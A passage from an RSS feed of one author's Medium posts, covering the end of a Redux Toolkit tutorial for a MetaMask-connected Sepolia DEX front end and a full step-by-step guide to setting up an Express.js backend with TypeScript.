},<br>});<br><br>// Define the RootState type, representing the entire state tree<br>export type RootState = ReturnType&lt;typeof store.getState&gt;;<br><br>// Define the AppDispatch type, representing the dispatch function<br>export type AppDispatch = typeof store.dispatch;<br><br>// Export the configured store<br>export default store;</pre><h3>Step 4: Create a custom hooks file (EXTRA BONUS)</h3><p>📂 src/hooks/useReduxCustom.ts</p><pre><br>// Import the necessary hooks from react-redux<br>import { TypedUseSelectorHook, useDispatch, useSelector } from &quot;react-redux&quot;;<br>// Import types for the application&#39;s dispatch function and root state<br>import { AppDispatch, RootState } from &quot;./store&quot;;<br><br>// Create a custom hook for dispatching actions<br>// This hook is typed to use the AppDispatch type, ensuring type safety<br>export const useAppDispatch = () =&gt; useDispatch&lt;AppDispatch&gt;();<br><br>// Create a custom hook for selecting state from the store<br>// This hook is typed to use the RootState type, ensuring type safety<br>export const useAppSelector: TypedUseSelectorHook&lt;RootState&gt; = useSelector;</pre><h4>Why Use Custom Hooks?</h4><ol><li><strong>Type Safety:</strong></li></ol><ul><li>These custom hooks ensure that the types of dispatched actions and selected state slices are checked at compile time.</li><li>This reduces the risk of runtime errors due to type mismatches.</li></ul><p>2. <strong>Code Consistency:</strong></p><ul><li>By using these custom hooks, you enforce a consistent way of using dispatch and selector throughout your application.</li><li>This makes the code easier to understand and maintain.</li></ul><p>3. <strong>Improved Developer Experience:</strong></p><ul><li>With better TypeScript support, you get improved autocompletion and inline documentation in your IDE.</li><li>This makes development faster and more efficient.</li></ul><h3>Step 5: Provide the Store to the App (index.tsx or main.tsx)</h3><p>📂 src/main.tsx</p><pre><br>import React from &quot;react&quot;;<br>import ReactDOM from &quot;react-dom/client&quot;;<br>import App from &quot;./App.tsx&quot;;<br>import &quot;./index.css&quot;;<br>import { ChakraProvider } from &quot;@chakra-ui/react&quot;;<br>import { Provider } from &quot;react-redux&quot;;<br>import store from &quot;./store.ts&quot;;<br><br>ReactDOM.createRoot(document.getElementById(&quot;root&quot;)!).render(<br>  &lt;React.StrictMode&gt;<br>    &lt;Provider store={store}&gt;<br>      &lt;ChakraProvider&gt;<br>        &lt;App /&gt;<br>      &lt;/ChakraProvider&gt;<br>    &lt;/Provider&gt;<br>  &lt;/React.StrictMode&gt;<br>);</pre><h3>Step 6: Use Redux State &amp; Dispatch in a Component</h3><p>Component 1: Info</p><p>📂 src/components/Info.tsx</p><pre>import {<br>  Box,<br>  Code,<br>  Divider,<br>  Flex,<br>  Heading,<br>  Stat,<br>  StatLabel,<br>  StatNumber,<br>} from &quot;@chakra-ui/react&quot;;<br>import { useAppSelector } from &quot;../hooks/useReduxCustom&quot;;<br><br>// Define the props type for CryptoStat component<br>type CryptoStatPropsType = {<br>  label: string;<br>  number: string | number;<br>};<br><br>// CryptoStat component to display individual statistics<br>const CryptoStat = ({ label, number }: CryptoStatPropsType) =&gt; {<br>  return (<br>    &lt;Box<br>      border={&quot;1px&quot;}<br>      borderColor={&quot;lavender&quot;}<br>      borderRadius={&quot;2xl&quot;}<br>      flex={1}<br>      py={&quot;10px&quot;}<br>    &gt;<br>      &lt;Stat&gt;<br>        &lt;StatLabel&gt;{label}&lt;/StatLabel&gt;<br>        &lt;StatNumber&gt;{number}&lt;/StatNumber&gt;<br>      &lt;/Stat&gt;<br>    &lt;/Box&gt;<br>  );<br>};<br><br>// Info component to display wallet and DEX information<br>const Info = () =&gt; {<br>  // Select state slices using useAppSelector hook<br>  const { ethPerToken, tokenPerEth, lpTokenInCirculation } = useAppSelector(<br>    (state) =&gt; state.info<br>  );<br>  const { ethBalance, lpTokenBalance, fdtBalance, address, network } =<br>    useAppSelector((state) =&gt; state.metamask);<br><br>  return (<br>    &lt;Box<br>      borderRadius={&quot;2xl&quot;}<br>      border={&quot;1px&quot;}<br>      borderColor={&quot;Highlight&quot;}<br>      p={&quot;10px&quot;}<br>      textAlign={&quot;center&quot;}<br>      h={&quot;100%&quot;}<br>      alignContent={&quot;center&quot;}<br>    &gt;<br>      {/* Wallet Information */}<br>      &lt;Heading as={&quot;h2&quot;} my={&quot;10px&quot;} color={&quot;steelblue&quot;}&gt;<br>        Your Wallet Information<br>      &lt;/Heading&gt;<br>      &lt;Flex<br>        flexDir={{<br>          base: &quot;column&quot;,<br>          md: &quot;row&quot;,<br>        }}<br>        justifyContent={&quot;center&quot;}<br>        gap={&quot;10px&quot;}<br>      &gt;<br>        {&quot; &quot;}<br>        &lt;Code<br>          my={&quot;10px&quot;}<br>          fontSize={{<br>            base: &quot;sm&quot;,<br>            md: &quot;xl&quot;,<br>          }}<br>        &gt;<br>          {address}<br>        &lt;/Code&gt;<br>        {network &amp;&amp; (<br>          &lt;Code<br>            colorScheme={&quot;blue&quot;}<br>            my={&quot;10px&quot;}<br>            fontSize={{<br>              base: &quot;sm&quot;,<br>              md: &quot;xl&quot;,<br>            }}<br>          &gt;<br>            {network}<br>          &lt;/Code&gt;<br>        )}<br>      &lt;/Flex&gt;<br>      &lt;Flex<br>        flexDir={{<br>          base: &quot;column&quot;,<br>          md: &quot;row&quot;,<br>        }}<br>        justifyContent={&quot;space-around&quot;}<br>        my={&quot;10px&quot;}<br>        gap={&quot;5px&quot;}<br>      &gt;<br>        &lt;CryptoStat label=&quot;ETH in Wallet&quot; number={ethBalance} /&gt;<br>        &lt;CryptoStat label=&quot;FDT in Wallet&quot; number={fdtBalance} /&gt;<br>        &lt;CryptoStat label=&quot;LP Tokens in Wallet&quot; number={lpTokenBalance} /&gt;<br>      &lt;/Flex&gt;<br><br>      &lt;Divider my={&quot;10px&quot;} /&gt;<br><br>      {/* DEX Information */}<br>      &lt;Heading as={&quot;h2&quot;} my={&quot;10px&quot;} color={&quot;steelblue&quot;}&gt;<br>        DEX Information<br>      &lt;/Heading&gt;<br>      &lt;Flex<br>        flexDir={{<br>          base: &quot;column&quot;,<br>          md: &quot;row&quot;,<br>        }}<br>        justifyContent={&quot;space-around&quot;}<br>        my={&quot;10px&quot;}<br>        gap={&quot;5px&quot;}<br>      &gt;<br>        &lt;CryptoStat label=&quot;ETH per FDT&quot; number={ethPerToken} /&gt;<br>        &lt;CryptoStat label=&quot;FDT per ETH&quot; number={tokenPerEth} /&gt;<br>        &lt;CryptoStat<br>          label=&quot;LP Tokens in circulation&quot;<br>          number={lpTokenInCirculation}<br>        /&gt;<br>      &lt;/Flex&gt;<br>    &lt;/Box&gt;<br>  );<br>};<br><br>export default Info;</pre><p>Component 2: Header</p><p>📂 src/components/Header.tsx</p><pre>import { Box, Button, Icon } from &quot;@chakra-ui/react&quot;;<br>import styles from &quot;./Header.module.css&quot;;<br>import { SiWalletconnect } from &quot;react-icons/si&quot;;<br>import { useState } from &quot;react&quot;;<br>import { useAppDispatch } from &quot;../hooks/useReduxCustom&quot;;<br>import useCustomToast from &quot;../hooks/useCustomToast&quot;;<br>import { ethers } from &quot;ethers&quot;;<br>import {<br>  setAddress,<br>  setBalances,<br>  setNetwork,<br>} from &quot;../../features/metamask/metamaskSlice&quot;;<br>import {<br>  FDT_CONTRACT_ABI,<br>  FDT_CONTRACT_ADDRESS,<br>  SIMPLE_DEX_ABI,<br>  SIMPLE_DEX_ADDRESS,<br>} from &quot;../../blockchainData/blockchainData&quot;;<br><br>const Header = () =&gt; {<br>  // hooks<br><br>  const [error, setError] = useState&lt;string&gt;(&quot;&quot;);<br>  const dispatch = useAppDispatch();<br>  const toast = useCustomToast();<br>  const [isWalletConnected, setIsWalletConnected] = useState&lt;boolean&gt;(false);<br><br>  // helper functions<br><br>  const onWalletConnect = async () =&gt; {<br>    try {<br>      // If metamask is not installed<br>      if (!window.ethereum) {<br>        const errorMessage = &quot;Metamask is not installed&quot;;<br>        setError(errorMessage);<br>        toast({<br>          status: &quot;error&quot;,<br>          title: error,<br>        });<br>        return;<br>      }<br><br>      // If installed<br>      // Request account access<br><br>      // WALLET DATA<br>      await window.ethereum.request({ method: &quot;eth_requestAccounts&quot; });<br>      const provider = new ethers.BrowserProvider(window.ethereum);<br>      const signer = await provider.getSigner();<br>      const address = await signer.getAddress();<br><br>      // ETHER DATA<br>      const balance = await provider.getBalance(address);<br>      const ethBalance = ethers.formatEther(balance);<br>      const networkObject = await provider.getNetwork();<br>      const network = `${networkObject.name} (${networkObject.chainId})`;<br><br>      // CUSTOM TOKEN DATA<br>      // Create a new instance of the FDT contract<br>      const fdtContract = new ethers.Contract(<br>        FDT_CONTRACT_ADDRESS,<br>        FDT_CONTRACT_ABI,<br>        signer<br>      );<br>      const fdtBalanceBigNumber = await fdtContract.balanceOf(address);<br>      const fdtBalance = ethers.formatUnits(fdtBalanceBigNumber, 18); // Assuming FDT has 18 decimals<br><br>      // LP TOKEN DATA<br>      // Create a new instance of the SimpleDEX contract<br>      const simpleDexContract = new ethers.Contract(<br>        SIMPLE_DEX_ADDRESS,<br>        SIMPLE_DEX_ABI,<br>        signer<br>      );<br><br>      // Get the balance of LP tokens for the user<br>      const lpTokenBalanceBigNumber = await simpleDexContract.balanceOf(<br>        address<br>      );<br>      const lpTokenBalance = ethers.formatUnits(lpTokenBalanceBigNumber, 18); // Assuming LP tokens have 18 decimals<br><br>      // DISPATCH ACTIONS<br>      // Dispatch the address and balance to Redux store<br>      dispatch(setAddress({ address }));<br>      dispatch(<br>        setBalances({<br>          ethBalance: parseFloat(ethBalance),<br>          fdtBalance: parseFloat(fdtBalance),<br>          lpTokenBalance: parseFloat(lpTokenBalance),<br>        })<br>      );<br>      dispatch(setNetwork({ network }));<br><br>      toast({<br>        status: &quot;success&quot;,<br>        title: &quot;Connected&quot;,<br>        description: `Connected to MetaMask: ${address}`,<br>      });<br>      setError(&quot;&quot;);<br>      setIsWalletConnected(true);<br>    } catch (err) {<br>      // Check if the error is of type Error<br>      if (err instanceof Error) {<br>        setError(err.message);<br>        toast({<br>          status: &quot;error&quot;,<br>          title: &quot;Connection Error&quot;,<br>          description: err.message,<br>        });<br>      } else {<br>        setError(&quot;An unknown error occurred.&quot;);<br>        toast({<br>          status: &quot;error&quot;,<br>          title: &quot;Unknown Error&quot;,<br>          description: &quot;An unknown error occurred.&quot;,<br>        });<br>      }<br>      console.error(&quot;Error connecting to MetaMask&quot;, err);<br>    }<br>  };<br><br>  // component<br><br>  return (<br>    &lt;Box<br>      w={&quot;100%&quot;}<br>      textColor={&quot;slategray&quot;}<br>      fontSize={&quot;large&quot;}<br>      fontWeight={&quot;bold&quot;}<br>      textAlign={&quot;center&quot;}<br>      fontFamily={&quot;cursive&quot;}<br>    &gt;<br>      &lt;p&gt;<br>        {&quot; &quot;}<br>        Simple DEX - &lt;span className={styles.italicsText}&gt;<br>          A Decentralized Exchange for Sepolia network<br>        &lt;/span&gt;<br>      &lt;/p&gt;<br>      {!isWalletConnected &amp;&amp; (<br>        &lt;Box my={&quot;10px&quot;}&gt;<br>          {&quot; &quot;}<br>          &lt;Button colorScheme=&quot;yellow&quot; onClick={onWalletConnect}&gt;<br>            &lt;Icon as={SiWalletconnect} fontSize={&quot;large&quot;} m={&quot;5px&quot;} /&gt; Connect<br>            Metamask<br>          &lt;/Button&gt;<br>        &lt;/Box&gt;<br>      )}<br>    &lt;/Box&gt;<br>  );<br>};<br><br>export default Header;</pre><h3>Conclusion</h3><p>The <strong>DUCKS pattern</strong> is a powerful way to organize Redux state management in large applications. By grouping actions, reducers, and async logic together, it provides a <strong>modular and maintainable</strong> structure.</p><h3>Another Bonus!!</h3><p>Since you have come this far, let’s talk about an easy way to remember the steps to setup react-redux which may help someone to explain orally about the setup with ease.</p><blockquote>“<em>I </em><strong><em>F</em></strong>ound <strong><em>S</em></strong>ome <strong><em>H</em></strong>elpful <strong><em>P</em></strong>eople <strong><em>U</em></strong>nderstanding” — <strong><em>IFSHPU</em></strong></blockquote><ol><li><strong>I</strong>nstall</li><li><strong>F</strong>eature creation</li><li><strong>S</strong>tore configuration</li><li><strong>H</strong>ook definition</li><li><strong>P</strong>rovide store</li><li><strong>U</strong>se it</li></ol><h3>Key Takeaways</h3><p>✅ Keeps related logic in a single file<br> ✅ Reduces boilerplate with Redux Toolkit<br> ✅ Supports synchronous and asynchronous actions<br> ✅ Works seamlessly with React components<br> ✅ Strongly typed with TypeScript for better maintainability</p><p>Would you adopt the DUCKS pattern for your next TypeScript project? Let me know in the comments! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38ea16cfe1dd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Robust Express.js Backend with TypeScript: A Step-by-Step Guide]]></title>
            <link>https://medium.com/@narendran.a.i/building-a-robust-express-js-backend-with-typescript-a-step-by-step-guide-84cb57d6e5bd?source=rss-36a5b0aded55------2</link>
            <guid isPermaLink="false">https://medium.com/p/84cb57d6e5bd</guid>
            <category><![CDATA[expressjs]]></category>
            <category><![CDATA[express]]></category>
            <category><![CDATA[typescript]]></category>
            <category><![CDATA[node]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Narendran A I]]></dc:creator>
            <pubDate>Sat, 10 Aug 2024 08:42:08 GMT</pubDate>
            <atom:updated>2025-05-14T08:14:20.377Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6bJ0MgWAH8w8IEIu9EbfQ.png" /></figure><p><strong>Introduction:</strong></p><p>In the modern web development landscape, building scalable and maintainable backend applications is crucial. Express.js, a minimal and flexible Node.js web application framework, has long been a go-to choice for developers. However, as projects grow, so does the complexity, and that’s where TypeScript comes in. By combining Express.js with TypeScript, you can enjoy the best of both worlds: the simplicity of Express and the type safety and tooling of TypeScript.</p><p>In this blog, I’ll walk you through the journey of building a robust Express.js backend using TypeScript, based on the template I’ve created and shared on <a href="https://github.com/YashNarK/express-typescript-template/tree/master">GitHub</a>.</p><p><strong>Why Use TypeScript with Express.js?</strong></p><p>TypeScript brings several benefits to the table, especially when working with Express.js:</p><ul><li><strong>Type Safety:</strong> Helps prevent runtime errors by catching type errors during development.</li><li><strong>Improved IDE Support:</strong> TypeScript offers enhanced autocomplete, navigation, and refactoring capabilities.</li><li><strong>Scalability:</strong> Makes the codebase more manageable as your application grows.</li><li><strong>Better Documentation:</strong> Types serve as a form of documentation, making it easier for developers to understand the codebase.</li></ul><p><strong>Project Structure:</strong></p><p>A well-organized project structure is key to maintaining a clean and scalable codebase. Here’s how I personally recommend structuring the Express.js and TypeScript project:</p><pre>├── src<br>│   ├── config<br>│   │   └── default.ts<br>│   ├── controllers<br>│   │   └── userController.ts<br>│   ├── interfaces<br>│   │   └── User.type.ts<br>│   │   └── LoginResponse.interface.ts<br>│   ├── middleware<br>│   │   └── authMiddleware.ts<br>│   ├── models<br>│   │   └── userModel.ts<br>│   ├── routes<br>│   │   └── userRoutes.ts<br>│   ├── services<br>│   │   └── userService.ts<br>│   ├── utils<br>│   │   └── logger.ts<br>│   ├── validators<br>│   │   └── formDataValidator.ts<br>│   └── index.ts<br>│   └── server.ts<br>├── tests<br>│   └── userController.test.ts<br>├── .env<br>├── .eslintrc.js<br>├── .prettierrc<br>├── tsconfig.json<br>└── package.json</pre><p><strong>Explanation:</strong></p><ul><li><strong>src/config:</strong> Contains configuration files (e.g., database, environment).</li><li><strong>src/controllers:</strong> Houses the controllers, which handle the incoming requests and orchestrate the application logic.</li><li><strong>src/interfaces:</strong> Houses the TypeScript interfaces and types.</li><li><strong>src/middleware:</strong> Contains custom middleware functions, such as authentication or request validation.</li><li><strong>src/models:</strong> Contains database models (e.g., Mongoose models)</li><li><strong>src/routes:</strong> Defines the API routes and maps them to the appropriate controller methods.</li><li><strong>src/services: </strong>Encapsulates the business logic of the application, keeping controllers clean and focused on handling HTTP requests.</li><li><strong>src/utils:</strong> Utility functions, such as logging, are kept here to be reused across the application.</li><li><strong>src/validators:</strong> Contains request validation logic.</li><li><strong>src/index.ts: </strong>Entry point of the application</li><li><strong>src/server.ts: </strong>Server setup and configuration</li><li><strong>tests:</strong> Includes test files to ensure the functionality of your application.</li></ul><p><strong>Step 1: Create a project folder and change working directory to the newly created folder</strong></p><pre>mkdir your-project-name &amp;&amp; cd your-project-name</pre><p><strong>Step 2: Add a .gitignore file to exclude project secrets and dependency libraries from being tracked by GIT</strong></p><p>I always use gitignore content provided by github for various projects. You can find it <a href="https://github.com/github/gitignore">here</a>.<br>For this project we are going to use the <a href="https://github.com/github/gitignore/blob/main/Node.gitignore">gitignore provided for Node JS projects</a>.</p><p><strong>Step 3: Initialize npm</strong></p><pre>npm init -y</pre><p><strong>Step 4: Install Dependencies</strong></p><p>The dependencies I used are based on my personal preferences, you can use the same or alter as per your liking.</p><pre>npm i express dotenv helmet morgan<br>npm i -D typescript ts-node tsx @types/node @types/express @types/morgan @types/helmet nodemon eslint @typescript-eslint/parser @typescript-eslint/eslint-plugin jest prettier tsconfig-paths<br><br># -----------------------------------------------------------------------------------------------------------------------------------------------------------<br># INITIAL TEMPLATE DEPENDENCIES<br># -----------------------------------------------------------------------------------------------------------------------------------------------------------<br><br><br>### Essential Dependencies:<br># - **`express`**: The core framework for building your API.<br># - **`dotenv`**: For managing environment variables.<br># - **`helmet`**: Adds security-related HTTP headers to your Express app.<br># - **`morgan`**: A logging middleware for requests.<br><br>### TypeScript and Dev Dependencies:<br># - **`typescript`**: The TypeScript compiler.<br># - **`ts-node`**: Allows TypeScript to be run directly in Node.js.<br># - **`tsx`**: ts-node but better.<br># - **`@types/node`**: Type definitions for Node.js.<br># - **`@types/express`**: Type definitions for Express.<br><br>### Additional Recommendations:<br># - **`nodemon`**: For automatic restarting of the server during development.<br># - **`eslint`**: For linting your TypeScript code.<br># - **`@typescript-eslint/parser`** and **`@typescript-eslint/eslint-plugin`**: For integrating ESLint with TypeScript.<br># - **`jest`** or **`mocha`**, **`chai`**, **`supertest`**: For testing your application.<br># - **`prettier`**: For code formatting.<br># - **`cross-env`**: To set environment variables across different OS.<br># - **`tsconfig-paths`**: To use custom path mappings in TypeScript.<br><br># -----------------------------------------------------------------------------------------------------------------------------------------------------------<br># PRODUCTION GRADE DEPENDENCIES<br># -----------------------------------------------------------------------------------------------------------------------------------------------------------<br><br>### 1. **Logging and Monitoring:**<br>#    - **`winston`** or **`pino`**: A more sophisticated logging library than `morgan`, useful for production environments.<br>#    - **`express-winston`**: Middleware for logging HTTP requests and responses using `winston`.<br>#    - **`prom-client`**: For Prometheus metrics if you want to monitor your application&#39;s performance.<br><br>### 2. **Error Handling:**<br>#    - **`express-async-errors`**: Automatically handles errors thrown in async routes/middleware.<br>#    - **`http-errors`**: For creating HTTP errors easily.<br><br>### 3. **Database:**<br>#    - **`mongoose`**: If you’re using MongoDB.<br>#    - **`pg`**: If you’re using PostgreSQL.<br>#    - **`sequelize`**: For an ORM that supports multiple databases.<br>#    - **`typeorm`**: Another ORM option that supports TypeScript well.<br><br>### 4. **Authentication and Security:**<br>#    - **`passport`** and **`passport-jwt`**: For authentication strategies, especially JWT.<br>#    - **`express-rate-limit`**: To protect your API from brute-force attacks.<br>#    - **`csurf`**: For CSRF protection.<br>#    - **`bcryptjs`**: For hashing passwords.<br><br>### 5. **CORS:**<br>#    - **`cors`**: Middleware to enable Cross-Origin Resource Sharing, especially useful if your frontend and backend are on different domains.<br><br>### 6. **Compression:**<br>#    - **`compression`**: Middleware to gzip compress responses, reducing the size of the response body and improving performance.<br><br>### 7. **Caching:**<br>#    - **`redis`**: For caching and session management.<br>#    - **`express-session`**: For session management, especially with Redis.<br><br>### 8. **Validation:**<br>#    - **`class-validator`**: Decorator-based validation library for TypeScript and JavaScript, often used with `class-transformer`.<br>#    - **`class-transformer`**: Transforms plain objects into class objects and vice versa, useful for validation and data handling.<br>#    - **`joi`**: Another popular validation library that provides a powerful schema description language and data validator for JavaScript.<br><br></pre><p><strong>Step 5: Create SRC folder and entry point</strong></p><p>We need to create entry point before initializing TypeScript configuration as it will throw error if it cannot find the entry point.</p><pre>mkdir src &amp;&amp; touch src/index.ts</pre><p><strong>Step 6: Initialize TypeScript Configuration</strong></p><p>This step will generate our tsconfig.json file which will help us set the configurations for our TypeScript complier.</p><pre>npx tsc --init --module NodeNext --moduleResolution NodeNext --target ES2020 --rootDir ./src --outDir ./dist --esModuleInterop --strict<br><br># Explanation of the Flags:<br><br># - **`--module NodeNext`**: setting this in your TypeScript configuration is correct if you’re aiming to use the latest module resolution strategy that aligns with Node.js’s native ESM support.<br><br># - **`--moduleResolution NodeNext`**: The nodenext module resolution strategy is used in TypeScript for modern versions of Node.js, specifically Node.js v12 and later. This strategy is designed to handle both ECMAScript imports and CommonJS require, which resolve using different algorithms. nodenext is the correct module resolution option if you are targeting Node 16+ (or really 12+ with some caveats about async/await and certain package.json exports features)<br><br># - **`--target ES2020`**: Sets the output to be compatible with ES2020, allowing modern JavaScript features.<br># - **`--rootDir ./src`**: Specifies the root directory of your source files.<br># - **`--outDir ./dist`**: Specifies the output directory for the compiled JavaScript files.<br># - **`--esModuleInterop`**: Ensures compatibility between CommonJS and ES Module imports/exports.<br># - **`--strict`**: Enables all strict type-checking options.<br></pre><p>This will generate a tsconfig.json with these options pre-configured. You can then further tweak the tsconfig.json file as needed. Other options not covered by the command-line flags can be added manually.</p><p><strong>Step 7: Initialize ESLint Configuration</strong></p><p>ESLint statically analyzes your code to quickly find problems. So, let’s add it using npx and choose the options that suits your project needs.</p><pre>npx eslint --init<br><br># FOLLOWING ARE THE CHOICES I MADE FOR THE PROJECT<br># You can also run this command directly using &#39;npm init @eslint/config@latest&#39;.<br><br># &gt; express-typescript-template@1.0.0 npx<br># &gt; create-config<br><br># @eslint/create-config: v1.8.2<br><br># ✔ What do you want to lint? · javascript<br># ✔ How would you like to use ESLint? · problems<br># ✔ What type of modules does your project use? · esm<br># ✔ Which framework does your project use? · none<br># ✔ Does your project use TypeScript? · no / yes<br># ✔ Where does your code run? · node<br># The config that you&#39;ve selected requires the following dependencies:<br><br># eslint, @eslint/js, globals, typescript-eslint<br># ✔ Would you like to install them now? · No / Yes<br># ✔ Which package manager do you want to use? · npm</pre><p>I received the following warning message.</p><pre>Successfully created D:\Projects\express-typescript-template\eslint.config.mjs file.<br>Note that some plugins currently do not support ESLint v9 yet.<br>You may need to use &#39;--force&#39; when installing, or add the following to your package.json:<br>&quot;overrides&quot;: { &quot;eslint&quot;: &quot;^9.8.0&quot; }</pre><p>Hence, I will be adding the line &quot;overrides&quot;: { &quot;eslint&quot;: &quot;^9.8.0&quot; } to package.json manually.</p><p><strong>Step 8: Setup the folder structure</strong></p><p>Let’s create the src and its subfolders as per our earlier discussion to have a modular and layered Express JS project structure.</p><pre>mkdir -p src/config src/controllers src/interfaces src/middlewares src/models src/routes src/services src/utils src/validators &amp;&amp; touch src/server.ts .env</pre><p><strong>Step 9: Setup .env file</strong></p><p>Add the port number to the .env file as an environment variable</p><pre>PORT=3000</pre><p><strong>Step 10: Write index.ts code</strong></p><p>This is an example starter code I used for this template. Feel free to use middle wares of your choice.</p><pre>// src\index.ts<br><br>import express from &quot;express&quot;;<br>import dotenv from &quot;dotenv&quot;;<br>import morgan from &quot;morgan&quot;;<br>import helmet from &quot;helmet&quot;;<br><br>// Initialize dotenv to load environment variables from .env file<br>dotenv.config();<br><br>const app = express();<br><br>// Use Helmet for setting security-related HTTP headers<br>app.use(helmet());<br><br>// Use Morgan for logging HTTP requests<br>app.use(morgan(&quot;dev&quot;));<br><br>// Middleware to parse JSON bodies<br>app.use(express.json());<br><br>// Define a simple route<br>app.get(&quot;/&quot;, (req, res) =&gt; {<br>  res.send(&quot;Hello, TypeScript with Express!&quot;);<br>});<br><br>export default app;</pre><p><strong>Step 11: Write server.ts code:</strong></p><pre>// src\server.ts<br>import app from &quot;./index.js&quot;;<br><br>const PORT = process.env.PORT || 3000;<br><br>// Start the server<br>app.listen(PORT, () =&gt; {<br>  console.log(`Server is running on http://localhost:${PORT}`);<br>});</pre><p>Using index.ts and server.ts separately allows for better organization by separating concerns: index.ts typically initializes and configures the app, while server.ts focuses on starting the server and handling related logic. This separation improves code readability and maintainability.</p><p><strong>Step 12: Update package.json with custom scripts</strong></p><p>Write scripts to</p><ol><li>Run the dev server</li><li>Build the production distribution files</li><li>Start serving the production distribution files.</li></ol><p>And add type as module.</p><pre>{<br>  // ...,<br>  &quot;scripts&quot;: {<br>    &quot;start&quot;: &quot;node dist/server.js&quot;,<br>    &quot;dev&quot;: &quot;nodemon --exec \&quot;npx tsx src/server.ts \&quot;  &quot;,<br>    &quot;build&quot;: &quot;tsc&quot;,<br>    &quot;lint&quot;: &quot;eslint . --ext .ts&quot;,<br>    &quot;format&quot;: &quot;prettier --write &#39;src/**/*.ts&#39;&quot;<br>  },<br>  &quot;type&quot;: &quot;module&quot;<br>  // ...<br>}</pre><p><strong>Explanation to the scripts added:</strong></p><ul><li>start: Builds the TypeScript code and runs the compiled JavaScript with Node.js. This script is intended for production use.</li></ul><pre>node dist/server.js</pre><ul><li>dev: This command runs src/server.ts with tsx (TypeScript executor) using nodemon to automatically restart the server on code changes.</li></ul><pre>nodemon --exec &quot;npx tsx src/server.ts&quot;</pre><ul><li>build: Compiles TypeScript code into JavaScript and outputs it to the dist directory.</li></ul><pre>tsc</pre><ul><li>lint: Runs ESLint to check for linting issues in your TypeScript files.</li></ul><pre>eslint . --ext .ts</pre><ul><li>format: Formats your TypeScript files using Prettier.</li></ul><pre>prettier --write &#39;src/**/*.ts&#39;</pre><ul><li>&quot;type&quot;:&quot;module&quot;: Including this in your package.json is a way to tell Node.js that you are using ECMAScript modules (ESM) in your project. This means that .js files within the package will be treated as ESM, and you should use import and export statements instead of require () and module.exports which are used in CommonJS (CJS) modules.</li></ul><p>Later we can use the following npm commands to run the scripts.</p><pre># DEVELOPMENT MODE SERVER START UP<br>npm run dev<br><br># PRODUCTION MODE<br><br># BUILD DISTRIBUTION FILES<br>npm run build<br><br># START SERVER USING DIST<br>npm run start</pre><p><strong>Conclusion</strong></p><p>By following and completing all the steps above, you would now have an Express JS starter application fully integrated with TypeScript and with a widely adopted and agreed-upon folder structure for managing code.</p><p>The application can be extended with more features based on your personal choice. For additional information on topics such as setting up a Redis cache, Cors middleware, etc., please visit the GitHub repository on which this blog is based. The link for the repo is <a href="https://github.com/YashNarK/express-typescript-template/tree/master?tab=readme-ov-file">here</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84cb57d6e5bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>